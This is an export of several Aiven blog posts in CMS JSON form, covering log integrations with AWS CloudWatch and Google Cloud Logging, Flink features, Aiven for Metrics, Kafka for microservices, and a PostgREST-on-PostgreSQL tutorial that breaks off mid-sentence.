{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6DVg3fOD4cOwMcfEr9LlNF","_rev":"ZLvKaZvfbZlWBlGcpInsGn","_type":"post","_updatedAt":"2024-01-29T15:38:05Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"For those of you running your logs and metrics infrastructure in AWS CloudWatch or Google Cloud Logging, life just got a little easier — you can now include your Aiven service logs with a simple integration.\n\nOnce enabled, you’ll not only have a more consolidated overview of your logs but be able to manage your Aiven logs more efficiently, whether searching them or performing other actions such as setting alerts.\n\nHow simple is it to set up this integration? A few minutes is all it takes. Let’s dive into the details.\n\n## How to enable service log integrations in the Aiven Console\n\nIn this post, we’ll cover the integration setup process in Aiven’s Web Console. For instructions on setting up the integrations using the Aiven Client, check out our [AWS CloudWatch](https://aiven.io/docs/integrations/cloudwatch) help articles.\n\n### AWS CloudWatch\n\nFirst, you need to add an *AWS CloudWatch Logs* integration endpoint to your Aiven project. You can do this by navigating to the *Service Integrations* section of your project. You will need to input your access rights credentials to create the endpoint.\n\n![aws cloudwatch logs access rights fixed](//cdn.sanity.io/images/sczeoy4w/production/3bdb20dd26e0a13526b8fc08be947ec5e836cbce-1964x256.png)\n\nOnce the endpoint is created, you can enable the integration by navigating to your service and selecting *Manage Integrations*. Select *AWS CloudWatch Logs* from the list of integrations.\n\n![Select cloudwatch integration](//cdn.sanity.io/images/sczeoy4w/production/01811e18b541a1dd4f4c446cd4751fa9dff412a6-1598x802.png)\n\nChoose the endpoint you created earlier.\n\n![choose aws cloudwatch integration endpoint](//cdn.sanity.io/images/sczeoy4w/production/63be3346d8231fd4209e78e42a398408b2485d54-1600x360.png)\n\nAttaching the service to an endpoint will enable service logs to be sent into AWS CloudWatch. Aiven will automatically create log streams for you in AWS CloudWatch to the log group you created in the integration endpoint configuration.\n\n### Google Cloud Logging\n\nAs with AWS CloudWatch, the first step is to add a Google Cloud Logging integration endpoint to your Aiven project by navigating to *Service Integrations*. Configure the __GCP Project ID__ and the __Log ID__ used for the logs you send to Google Cloud Logging.\n\n![google cloud logging access rights fixed](//cdn.sanity.io/images/sczeoy4w/production/49769190435e8c47a2af3fc21dce3460dbecc961-1766x356.png)\n\nOnce the endpoint is created, you can enable the integration by navigating to the service you want to send logs from and clicking *Manage Integrations*. Select *Google Cloud Logging* from the list of integrations.\n\n![select cloud logging from list of integrations](//cdn.sanity.io/images/sczeoy4w/production/71c0f3af36d4e7295681c4c77c5017831ec566d2-1584x568.png)\n\nChoose the endpoint you created earlier.\n\n![choose cloud logging endpoint](//images.ctfassets.net/q3u27v6lpki8/6CkDaEaGUf4R1OoZlRcxyi/30e7cbf00bb95e31f9ba65f666f62dd1/choose_cloud_logging_endpoint.png)\n\nAnd that’s it! Your Aiven service logs will be sent to Google Cloud Logging once you attach your service to the endpoint and you’ll be able to view the logs in your Google Cloud Platform console!\n\n## Wrapping up\n\nThese two integrations allow you to more seamlessly incorporate your Aiven services into your AWS and GCP deployments. For detailed instructions on how to set up the logs integrations, read our help center articles for setting up [AWS CloudWatch](https://help.aiven.io/en/articles/4134821-sending-service-logs-to-aws-cloudwatch) and [Google Cloud Logging](https://help.aiven.io/en/articles/4209837-sending-service-logs-to-google-cloud-logging).\n\nTo find out how to send your service resource metrics to AWS CloudWatch, see the October 2022 blog post [\"I see you\" - Watch your Aiven metrics with CloudWatch](https://aiven.io/blog/watch-your-aiven-metrics-with-cloudwatch)\n\nAlso, subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog RSS feeds](https://aiven.io/blog/feed.xml), and follow us on [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) to stay up-to-date with product updates, and new services.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-f9da7dc0336f3436e1634ebb39fdb6577eaf6b27-1567x844-png","_type":"reference"}},"publishedAt":"2020-07-13T00:00:00.000Z","related":[{"_key":"c5a535d40eaa","_ref":"9193ac82-e768-43d3-930c-4d99ad8bcf81","_type":"reference"}],"seo":{"metaDescription":"Now you can send the logs of your Aiven services to Amazon AWS CloudWatch and Google Cloud Logging for storing, viewing, and archiving.","metaImage":{"alt":"","asset":{"_ref":"image-f9da7dc0336f3436e1634ebb39fdb6577eaf6b27-1567x844-png","_type":"reference"}},"metaTitle":"Aiven now integrates with AWS CloudWatch and Google Cloud Logging"},"slug":{"_type":"slug","current":"/blog/aiven-now-integrates-with-aws-cloudwatch-and-google-cloud-logging"},"subtitle":"Now you can send the logs of your Aiven services to Amazon AWS CloudWatch and Google Cloud Logging for storing, viewing, and archiving.","title":"Aiven now integrates with AWS CloudWatch and Google Cloud Logging"} {"__i18n_lang":"en","_createdAt":"2023-06-12T10:14:43Z","_id":"0d6dfe94-b3d8-4b4e-be11-228510ed43c9","_rev":"ZLvKaZvfbZlWBlGcpInqGC","_type":"post","_updatedAt":"2024-01-29T15:37:36Z","authors":[{"_key":"6aeb23c71505","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"},{"_key":"907364e8d291","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"## Aiven for Apache Flink: New features added in Q2 2023.\n\nBack in February 2023, we launched Aiven for Apache Flink as a fully-managed Flink service that evolves around three key themes: \n\n1. The ability to run Apache Flink applications in the cloud of your choice, including AWS, Google Cloud and Microsoft Azure.\n2. The simplicity of using the Flink SQL and Table API to run unified queries on top of real-time data \n3. A Flink automation layer that allows users to eliminate the operational overhead of deploying, running, monitoring and managing open source Apache Flink for production workloads.\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/496efedb790baa71d52fd9c7bb68ccce20acbbe0-1612x1176.png?w=450)\n\n\nAfter the first three months of launching the service, we are excited to bring some new enhancements to Aiven for Apache Flink that will enable our customers to easily connect their Flink jobs to the rest of their infrastructure and allow them to scale their stream processing applications to bigger volumes as their usage and adoption of Aiven for Apache Flink grows. Today we are introducing:\n1. Aiven for Apache Flink can now read data from/write data to instances of Apache Kafka that may or may not be managed by Aiven.\n2. Aiven for Apache Flink now comes with a built-in CDC Connector for PostgreSQL.\n\nIn the following sections, we discuss the latest enhancements to the Flink service and share additional background on how to leverage them for stateful stream processing with Aiven.\n\n\n### Integration with all types of Apache Kafka clusters\n\nThe first release of Aiven for Apache Flink came with built-in integrations for other Aiven services with a few simple steps including Aiven for Apache Kafka®, Aiven for PostgreSQL® and Aiven for OpenSearch®. However, modern stream processing computations oftentimes require the processing of events from multiple places. At Aiven, we want customers to experience such streaming applications, no matter where their data is residing, especially for bigger scale and more sophisticated scenarios. This is why we now make it available to connect Aiven for Apache Flink services to all types of [Apache Kafka clusters](https://aiven.io/docs/products/flink/howto/ext-kafka-flink-integration) — whether they are fully managed by Aiven or not. This significantly improves the efficiency of a data pipeline and encourages data sharing and collaboration across various teams within an organization.\n\nFor example, Aiven users can now easily connect Aiven for Apache Flink to clusters that are self-managed and process events in real-time for streaming analytics use cases. This can be the case for specific types of events that might need to be retained to a Kafka topic that is managed on a client’s premises and not in the public cloud*. Users of the service can easily offload events to Apache Flink, perform any stateful computations and pass the events to downstream Kafka topics that reside in a fully managed environment like Aiven for Apache Kafka or in a [self-managed environment of their choice](https://aiven.io/docs/products/flink/howto/ext-kafka-flink-integration).\n\nA typical use case for this scenario would be stream processing and streaming analytics applications for data that is not managed by Aiven due to regulatory or other reasons. Users of our Flink service in highly regulated industries like financial services, government or healthcare can now retain full control of their data residency requirements by: \n1. Deploying Aiven for Apache Flink in their own cloud account, with Aiven’s newly introduced [Bring-Your-Own-Cloud (BYOC) deployment mode](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc)\n2. Processing data in real-time with Aiven for Apache Flink from a Kafka topic that may or may not be managed by Aiven\n3. Passing the processed events to downstream Kafka topics (or other Aiven services) for further processing or analysis.\n\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/bc829ea7a024a9e6c8d6bad9656eb7a0e801c73c-1999x637.png?w=450)\n\n\nIn addition, and in line with Aiven’s vision of being the trusted open source data platform for everyone, customers can now leverage the openness of the Aiven platform and process their data in real-time from Kafka topics that might be fully managed by other vendors in the market. \n\nWhat Aiven customers now get out-of-the-box is the ability to leverage the simplicity and scalability of Flink SQL with Aiven for Apache Flink for real-time data processing without the need to migrate their entire Kafka infrastructure to Aiven. \n\n\n\n### Change Data Capture(CDC) connector for PostgreSQL\n\n\nAiven for Apache Flink now comes with a [CDC connector for PostgreSQL](https://aiven.io/docs/products/flink/howto/pg-cdc-connector), using the Debezium framework for change data capture. Let’s take a closer look at CDC as a paradigm for capturing changes to your database and why it becomes an ever more prominent use case for Apache Flink.\n\n\n### What is Change Data Capture (CDC) and why you should care\n\nChange data capture (CDC) is the process of identifying and capturing changes made to data in a database to track what and when is updated in an organization’s data and then alert and inform other systems and services that must react to such changes in real-time. Especially in today’s business environment, where data is frequently referred to as the lifeblood of the modern enterprise, keeping track of such data updates is becoming increasingly challenging — although being increasingly important. Just think about the frequency with which data is being updated for an e-commerce retailer. Any time a new transaction or order is recorded or new inventory is added or deleted. Having the ability to track and respond to such data changes in real-time becomes ‘a must’ for modern, cloud application development where multiple (micro) services are codependent on each other and must be adjusted according to all new recorded changes in a database.\n\nInstead of upgrading any application or service at the same time as the changes occur in the source database — such as [PostgreSQL](https://aiven.io/postgresql) or [MySQL](https://aiven.io/mysql), Change Data Capture (CDC) can easily track row-level changes in source tables as insertions, deletions and updates to the data and make such changes available as events that can be consumed by other systems or services that depend on the changed data. Some interesting use cases for Change Data Capture include among others Data Replication workloads where data is replicated across systems and environments to ensure each data warehouse, data lake or relational database reflects the latest changes and status quo of the data. Another use case is Microservice(s) synchronization where multiple services need to be synchronized and updated (more often than not with low latency) with the latest updates to the respective data.\n\n### CDC connection from Aiven for PostgreSQL\n\nCustomers could previously integrate Aiven for Apache Flink with Aiven for PostgreSQL, however, this integration would be a query based approach which had some limitations, especially as this relates to memory utilization for low latency scenarios. In the standard setup, Aiven for Apache Flink users would need to process the entire dataset of the database (in a given period of time) and update any changes that occurred in that timeframe. With the [CDC connector for PostgreSQL](https://aiven.io/docs/products/flink/howto/pg-cdc-connector), Aiven users can now stream any changes in their PostgreSQL instance as events in real-time and send them to Flink for additional processing and/or transformations before moving the processed events to any downstream systems and operators. The updated connection makes it easy to process changes in a Postgres database and pass it on to Aiven for Apache Kafka to make such changes available to downstream services and applications or Aiven for OpenSearch for analytical workloads or logging purposes.\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/fba674ae9a038e0a87600d170fcfe23d7840cc37-1999x1003.png?w=450)\n\n\nExisting and new customers of Aiven for Apache Flink can leverage the CDC connector for Aiven for PostgreSQL to quickly: \n1. Maintain a single source-of-truth with recorded changes to their PostgreSQL database(s) by synchronizing all other database instances, data warehouses and data lakes with the latest recorded changes to the data in real-time. \n2. For event driven architectures where multiple services are interconnected and react to events in real-time, customers can now ensure that synchronizing these services will happen more seamlessly and with sub-second latency resulting in smoother operations for their team.\n\n\n## How to get started with the new features\n\nWe are very excited to bring these new additions to our Flink service and cannot wait to show what’s in store for Aiven for Apache Flink in the future! To take advantage of the new features in the product, be sure to perform a maintenance upgrade to your Flink service. If you haven’t used Aiven for Apache Flink and are brand new to Aiven, you can sign up for a 30-day trial [here](https://aiven.io/how-to-get-started-with-aiven) and start your stream processing and real-time analytics journey with Aiven! \n\nIf you have additional feedback or requests for our product, we would be happy to hear your suggestions [here](https://aiven.io/contact).\n\n\n## Pricing and Availability\n\nAiven for Apache Flink is available on all major hyperscalers - AWS, Google Cloud and Microsoft Azure - in over 100 regions globally.\n\nAll Aiven for Apache Flink plans come with a minimum of 3-node setup, providing resilience and high availability while ensuring minimal downtime even in the case of a node failure.\n\nAiven for Apache Flink is priced per hour, with prices starting from $0.57/h ($400/month).","categories":[{"_key":"dacff20cd466","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Aiven for Apache Flink, Apache Flink, Flink managed service, Streaming data ","asset":{"_ref":"image-2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3-2500x1308-png","_type":"reference"}},"publishedAt":"2023-06-20T12:30:00.000Z","related":[{"_key":"ea824c46e401","_ref":"bc611918-4bbd-462d-95ac-cc2ebf962189","_type":"reference"},{"_key":"23c8a24ecc8b","_ref":"178690c7-abca-455a-b22a-4db81e216219","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The latest Aiven for Apache Flink comes with integration for multiple versions of Apache Kafka®, a CDC connector for PostgreSQL®.","metaImage":{"_type":"mainImage","alt":"Aiven Flink, Apache Flink, Flink Managed service","asset":{"_ref":"image-2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3-2500x1308-png","_type":"reference"}},"metaTitle":"What’s new with Aiven for Apache Flink® - Q2 2023"},"slug":{"_type":"slug","current":"/blog/whats-new-with-aiven-for-apache-flink-q2-2023"},"subtitle":"The latest Aiven for Apache Flink service comes with integration for multiple versions of Apache Kafka® and a CDC connector for PostgreSQL®.","title":"What’s new with Aiven for Apache Flink® - Q2 2023"} {"__i18n_lang":"en","_createdAt":"2024-08-30T16:24:38Z","_id":"117d4f9e-b627-41f0-92d6-6b5a3abd5038","_rev":"KlB0Ss3I2J08BK3m9kJ74I","_type":"post","_updatedAt":"2024-09-04T15:47:52Z","authors":[{"_key":"b9aeed75dce9","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"Aiven recently added a new service to our offerings: Aiven for Metrics is now in Early Availability. Similar to Aiven for M3, Aiven for Metrics is a Prometheus-compatible solution powered by [Thanos](https://thanos.io/), a CNCF project aimed at providing highly available Prometheus metrics with long term storage capabilities.\n\n## Familiar features in a brand new package\n\n[Aiven for Metrics](https://aiven.io/docs/products/metrics) is fully feature compatible with our existing Aiven for M3 offering. This means that in addition to it supporting PromQL queries, it provides the same in-console integrations to collect metrics from other Aiven services, and send those metrics to Aiven for Grafana with pre-built dashboards. \n\nSo where does it differ? Thanos has the potential for significant performance gains and cost savings over M3, something [Aiven has experienced first hand](https://thanos.io/blog/2023-06-08-thanos-at-aiven/). Last year, we began the process of migrating our own internal metrics from M3 to Thanos, and the results have been phenomenal. We authored a guest blog on Thanos.io to document our findings, and of particular note we found that for less than we were paying for 30 days of retention on M3 we were able to store 3 years worth of metrics in Thanos. \n\n## Get started with Aiven for Metrics\n\nAiven for Metrics is available for you to launch from the Aiven console. If you're currently using Aiven for M3 or Aiven for InfluxDB, we also provide [in-console migration and replication tools](https://aiven.io/docs/products/metrics/howto/list-data-migration) so you can easily import existing metrics without losing any historical data. ","categories":[{"_key":"a9a459b022a5","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven for Metrics is now Available","asset":{"_ref":"image-df57f8e549fef5bb496d715ffc49d9a9ffb33ca5-1200x628-png","_type":"reference"}},"publishedAt":"2024-09-04T14:30:00.000Z","slug":{"_type":"slug","current":"/blog/aiven-for-metrics-is-now-available"},"subtitle":"There's a new metrics service in town – Aiven for Metrics provides Prometheus metrics powered by Thanos.","title":"Aiven for Metrics is Now Available"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1CuVhL1qTea2bGbOOf2mOS","_rev":"a4XEptz0xD4dYAWJ07nyz1","_type":"post","_updatedAt":"2023-09-18T10:49:12Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Here’s a quick History of Apps:\n- The Ancients: monolithic application architecture, providing absolutely everything from data store to user interface.\n- The Enlightenment: service-oriented architecture, dividing an application into a few more or less independent chunks of separate services.\n- The Modern Era: microservice architecture, further dividing services into their component parts in order to increase flexibility and resistance to failure.\n\nIf you’ve developed or updated any kind of cloud-based application in the last few years, chances are you’ve done so using a microservice architecture, rather than the more dated service-oriented architecture. So, what’s the difference?\n\n## What are microservices?\n\nMicroservices are a software development method where applications are structured as small, loosely coupled services. The services themselves are minimal atomic units which together comprise the functionality of an entire app. A microservice does one thing — only one thing — and does it well.\nMicroservices can be thought of as minimal units of functionality, can be deployed independently, are reusable, and communicate with each other via various network protocols like HTTP (More on that in a moment).\nToday, most cloud-based applications that expose a REST API are built on microservices, (or may actually be one themselves). These architectures are called microservice architectures.\n## Benefits and challenges\n### Advantages of microservices\nMore granular service structure brings with it enormous upsides. The isolation between microservices means that when a single module fails, the larger application complex may not even notice it; critical components can be built in a highly-available way, and non-critical ones will not bring down the whole system.\n\nMicroservices are interdependent in a sense, but they use well-defined APIs instead of point-to-point custom connections. This brings unparallelled flexibility for scaling and updating. \n\nReplacing individual microservices is quicker and easier than replacing big chunks of your system at once. This allows you to experiment with new technologies, and avoid getting locked into a tech stack that eventually stops meeting your needs. \n\nDuring development, working with little chunks of software means that you can finally start reeling in the big benefits of Continuous Integration and Deployment.\n### Disadvantages of microservices\nBut it’s not all sweetness and light in microservice land. When something breaks, someone has to comb through the logs, and lots of microservices equals lots of logs. Lots and lots of logs. \n\nTesting and deployment get more complicated as each microservice has to be verified as functional individually and then together. This needs orchestrated effort and proper processes. As a result, smaller companies may struggle to bring together everything needed to develop such a highly granular application.\n\nThese are all by and large people challenges. They can all be conquered by increasing available resources and coordinating properly. There is, however, one challenge that is primarily technical: the need for the microservices to communicate.\n\nNo microservice can do its job without its fellow microservices; they’re quite like people in that regard. And just like with people, communication is key. You have to do all you can to avoid latency and communication disruption, and your codebase may have to expand to accommodate the processing of requests.\n\nLet’s next take a look at some communication patterns used in microservice implementations and how to accommodate them.\n\n## Some microservice communication patterns\nIn her article “Introduction to Microservices Messaging Protocols,” Sarah Roman provides an [excellent breakdown](https://dzone.com/articles/introduction-to-microservices-messaging-protocols) of the taxonomy of communication patterns used by and between microservices:\n\n### Synchronous\nSynchronous communication is when the sender of the event waits for processing and some kind of reply, and only then proceeds to other tasks. This is typically implemented as REST calls, where the sender submits a HTTP request, and then the service processes this and returns a HTTP response. Synchronous communication suggests _tight coupling_ between services.\n\n### Asynchronous\nAsynchronous communication means that a service doesn’t need to wait on another to conclude its current task. A sender doesn’t necessarily wait for a response, but either polls for results later or records a callback function or action. This is typically done over message buses like [Apache Kafka and/or RabbitMQ](https://aiven.io/blog/kafka-v-rabbitmq-a-comparison \"Kafka and RabbitMQ comparison\"). Asynchronous communication actually invokes _loose coupling_ between component services, because there can be no time dependencies between sending events and a receiver acting on them.\n\n### Single Receiver\nIn this case, each request has __one sender and one receiver__. If there are multiple requests, they should be staggered, because a single receiver cannot receive and process them all at once. Again, this suggests tight coupling between sender and receiver.\n\n### Multiple Receivers\nAs the category indicates, there are __multiple receivers processing multiple requests__.\n\nWe believe that, while each of these methods (in combination) have their purpose within an MSA, the most _loosely coupled_ arrangement of all is when microservices within a distributed application communicate with each other asynchronously, and via multiple receivers. This option implies that there are no strict dependencies between sender, time of send, protocol and receiver.\n\n### Pub-Sub\nThe [pub-sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) communication method is an elaboration on this latter method. The sender merely sends events — whenever there are events to be sent— and each receivers choose, asynchronously, which events to receive.\n\nApache Kafka may be one of the more recent evolutions of pub/sub. Apache Kafka works by passing messages via a publish-subscribe model, where software components called producers publish (append) events in time-order to distributed logs called topics (conceptually a category-named data feed to which records are appended).\n\nConsumers are configured to separately subscribe from these topics by offset (the record number in the topic). This latter idea — the notion that consumers simply decide what they will consume — removes the complexity of having to configure complicated routing rules into the producer or other components of the system at the beginning of the pipe.\n\n![diagram of apache kafka producers writing to and consumers reading from a topic](//cdn.sanity.io/images/sczeoy4w/production/23014d6c63fa5334ddb3301ce9f0b28ec20687fd-1540x998.png)\n\nWhen asynchronous communication to multiple receivers is required, Apache Kafka is a promising way to go.\n\n## Why Apache Kafka?\nWhat makes Apache Kafka a good communication solution? It solves the problem of tight-coupling between components and communication, is monitorable, and facilitates breaking up larger components into atomic, granular, independent, reusable services.\n### Routing rules configured by consumer\nWhen the routing rules are configured by consumer (a feature of pub-sub and Apache Kafka generally), there is no need to build additional complexity into the data pipe itself. This decouples components from the message bus (and each other) and lets you develop and test them independently, without worrying about dependencies.\n### Built-in Support for asynchronous messaging\nAll of the above make it reasonably simple to __decouple__ components, and focus on a specific part of the application. Asynchronous messaging, when used correctly, removes yet another point of complexity by letting your services be ready for events without being synced to them.\n### High throughput/low latency\nIt’s easier to have peace of mind about breaking up larger services into smaller, more atomic ones when you don’t have to worry about communication latency issues. Aiven's managed Kafka services have been [benchmarked](https://hackernoon.com/benchmarking-kafka-performance-part-1-write-throughput-7c7a76ab7db1) and feature the highest throughput and lowest latency of any hosted service in the industry.\n### No really - why *not* Apache Kafka?\nLet’s face it, Apache Kafka isn’t the easiest system to set up and maintain. We’re here to just gently remind you that you don’t need to go it alone - [Aiven offers a fully hosted and managed Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\"), complete with add-ons and all the goodies.\n\n::banner[Learn more about what makes Apache Kafka so great, and how it differs from other event streaming tools.]{ctaText=\"Download ebook\" ctaLink=\"https://aiven.io/ebook/apache-kafka-for-tech-leaders\" title=\"Grab a copy of our ebook and learn the basic concepts of Apache Kafka first-hand!\" theme=\"dark\"}\n\n## Managed Apache Kafka makes your life easier\nApache Kafka can be challenging to set up. There are many options to choose from, and these vary widely depending on whether you are using an open-source version or a proprietary one, free or paid. What are your future requirements?\n\nIf you’re choosing a bundled solution, then your choice of version and installation type, for example, may come back to haunt you in the future as your business needs change.\n\nThese challenges alone may serve as a compelling argument for a managed version. With the __deployment__, __hardware outlay costs__ and __configuration__ effort out of your hands, you can focus entirely on the development for which you originally intended your Kafka deployment.\n\nWhat’s more, managed is monitorable. Are you tracking throughput? You need not worry about where the integration points are in your app to instrument custom logging and monitoring; simply monitor each of your atomic services’ throughput via your provider’s Kafka backend and metrics infrastructure.\n### Auto-scaling\nWhat sort of problems can you expect when your application scales? Bottlenecks? Race conditions? A refactoring mess to accomodate for them?\n\nA managed Kafka solution can scale automatically for you when the size of your data stream grows. As such, you needn’t worry when it’s time to refactor your services atomically, and you needn’t force your teams to maintain [blob](https://sourcemaking.com/antipatterns/the-blob)-style, clustered services with complicated dependencies just for the sake of avoiding latency between them.\n### High availability\nApache Kafka is already known for its high availability, so you never have to worry about your services being unable to communicate because a single node supporting your middleware is down.\n\nKafka’s ability to handle massive amounts of data and scale automatically lets you scale your data processing capabilities as your data load grows. And a managed solution has redundancy built right in.\n\n### Centralized, no-fuss management\nIf you’re managing your own cluster, you can expect to be tied down with installs, updates, managing version dependencies and related issues. A managed solution like Aiven for Apache Kafka® handles all of that for you, so you can focus on your core business.\n\n## Wrapping up\n[Aiven for Apache Kafka®](https://aiven.io/kafka) is a fully-managed, high throughput distributed messaging system with built-in monitoring which lets you decouple your services from the communication method, simplify your development and focus on your core application.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-5bf398e2605475c2240bc6c456927755114ac7ba-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-15T00:00:00.000Z","seo":{"metaDescription":"Find out about the challenges of implementing a microservice architecture and see how pub-sub message transmission helps.","metaImage":{"alt":"","asset":{"_ref":"image-5bf398e2605475c2240bc6c456927755114ac7ba-1567x844-png","_type":"reference"}},"metaTitle":"How are your microservices talking?"},"slug":{"_type":"slug","current":"/blog/how-are-your-microservices-talking"},"subtitle":"Find out about the challenges of implementing a microservice architecture and see how pub-sub message transmission helps.","title":"How are your microservices talking?"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1vjknmEaGKkLhki8EC08Ua","_rev":"neae7oL4y1FotDvvRJecv1","_type":"post","_updatedAt":"2024-07-11T07:50:33Z","authors":[{"_key":"aa2c85481717","_ref":"7jvTwkcIsfjUdBxnDaw00U","_type":"reference"}],"body":"## PostgreSQL® + RESTful API = PostgREST!\n\nNowadays, it's a very common development pattern to store information in a relational database and interact with the data via a RESTful HTTP interface.\n\nToday I'm going to show you a handy tool called PostgREST. It generates a RESTful API _directly_ from your PostgreSQL data model, removing the need to write your own interface. We will use Aiven for PostgreSQL as our database layer and a nice dataset from Kaggle.\n\n### Create a PostgreSQL service on Aiven\nThe database of choice today is [Aiven for PostgreSQL](https://aiven.io/postgresql). If you don't have an account yet, [sign up](https://console.aiven.io/signup) and enjoy your free trial! We will also use the [Aiven CLI](https://github.com/aiven/aiven-client), follow the installation and authentication instructions on the [GitHub page](https://github.com/aiven/aiven-client#install-from-pypi).\n\nWith the CLI in place, type the following command on your terminal to create a PostgreSQL service:\n```bash\navn service create --service-type pg --cloud google-europe-west3 --plan hobbyist pg-quotes\n```\n\nYou now have a PostgreSQL service up and running!\n\n### Get the data\nTo populate our database, we use this lovely [Goodreads Quotes dataset from Kaggle](https://www.kaggle.com/abhishekvermasg1/goodreads-quotes). Go to the page and download the `quotes.csv` file on your current directory. This file contains all the data we need to start our adventure.\n\nBy inspecting the CSV file, we see the following columns:\n- `index`: the quote ID\n- `quote`: the quote itself\n- `author`: who the quote's author\n- `tags`: a list of strings to categorize the quote\n- `likes`: how many likes the quote got on Goodreads\n\nWe will create a database table to hold this data structure.\n\n### Configure the PostgreSQL\nWith the dataset in hands, we now import it into PostgreSQL. We also create a Schema and Role to interact with PostgREST later.\n\nIn your terminal, use the handy `avn service cli` to connect to the PostgreSQL console:\n```bash\navn service cli pg-quotes\n```\n\nOn the console, execute the first SQL command of the day. We create a new [Schema](https://www.postgresql.org/docs/11/ddl-schemas.html) called `api` to hold our table and data:\n```sql\nCREATE SCHEMA api;\n```\n\nNow we create the table called `quotes` based on the CSV columns we inspected before:\n```sql\nCREATE TABLE api.quotes (\n index SERIAL,\n quote TEXT,\n author VARCHAR(255),\n tags TEXT,\n likes INTEGER\n);\n```\n\nThe `index` field has the `SERIAL` type, meaning it will auto increment on every new quote added. However, since our CSV file already have indexes up to `2999`, new quotes need to have the index field starting from `3000`. The following command does just that:\n\n```sql\nALTER SEQUENCE api.quotes_index_seq RESTART WITH 3000;\n```\n\n\u003e The `api.quotes_index_seq` was created automatically when we created the table above. The name pattern is `\u003cSCHEMA\u003e.\u003cTABLE\u003e_\u003cCOLUMN\u003e_seq`.\n\nPostgreSQL has a SQL command called [`COPY`](https://www.postgresql.org/docs/11/sql-copy.html) to move data between a file and a table. It is quite useful with CSV files. The console command [`\\COPY`](https://www.postgresql.org/docs/11/app-psql.html#APP-PSQL-META-COMMANDS-COPY) uses `COPY`, but knows how to read from the local filesystem. Run the code below to import all the lines from the `quotes.csv` into your table:\n```sql\n\\COPY api.quotes FROM 'quotes.csv' CSV HEADER;\n```\n\nPostgREST uses PostgreSQL roles as RESTful API users. Let's create a role named `operator` with all permissions on the data:\n```sql\nCREATE ROLE operator nologin;\n\nGRANT usage ON SCHEMA api TO operator;\nGRANT all ON api.quotes TO operator;\nGRANT usage, SELECT ON SEQUENCE api.quotes_index_seq TO operator;\n```\n\n\u003e In our example, `operator` has very broad data access and you probably don't want that in a production system. PostgREST supports authentication with JSON Web Tokens, read the [official documentation](https://postgrest.org/en/v8.0/auth.html) if you want to know more!\n\nThe PostgreSQL configuration is ready!\n\nNext, let's dive into PostgREST to get your HTTP interface.\n\n### Meet your new friend: PostgREST\n[PostgREST](https://postgrest.org/en/v8.0/) is a webserver which magically exposes your PostgreSQL database as an HTTP RESTful API, offering all the CRUD operations – create, read, update and delete.\n\nIt relies on well known PostgreSQL features. For example, roles becomes API users, SQL operations become query parameters and stored procedures are available as API endpoints.\n\nToday we are running PostgREST on our local machine, but it can be deployed on any platform that can run the single binary or a [Docker container](https://postgrest.org/en/v8.0/install.html#docker). You may use a virtual machine or a [Heroku app](https://postgrest.org/en/v8.0/install.html#deploying-to-heroku), for example.\n\nSeveral major tools, like [Supabase](https://supabase.io/database) and [Retool](https://retool.com), use PostgREST as the API layer. It also has a lively community - you can catch up with the developers and users in their [Gitter room](https://gitter.im/begriffs/postgrest).\n\n### Running PostgREST\nPostgREST is available as a single binary in all major package managers. Before moving on, follow the [official instructions](https://postgrest.org/en/v8.0/install.html) to install it on your machine.\n\nThe last bit we need to configure is the connection between PostgREST and PostgreSQL. We start by retrieving the PostgreSQL connection string using the Aiven CLI:\n```bash\navn service get pg-quotes --format '{service_uri}'\n```\n\nWith the output in hand, create a file named `postgrest.conf` with the content below:\n```conf\ndb-uri = \"\u003cthe-output-from-the-previous-command-here\u003e\"\ndb-schema = \"api\"\ndb-anon-role = \"operator\"\n```\n\nAs you can see, `db-schema` and `db-anon-role` refer to the previously created schema and role.\n\nFinally, let's start the PostgREST server by executing the command below:\n```bash\npostgrest postgrest.conf\n```\n\nIf everything goes smoothly, the server is running locally on the `http://localhost:3000` address.\n\n### Explore the RESTful API\nIt feels like a lot of configuration, however, it is less than writing your own CRUD backend app. With everything in place, let's explore what kind of requests we can make.\n\nThis basic HTTP request returns all 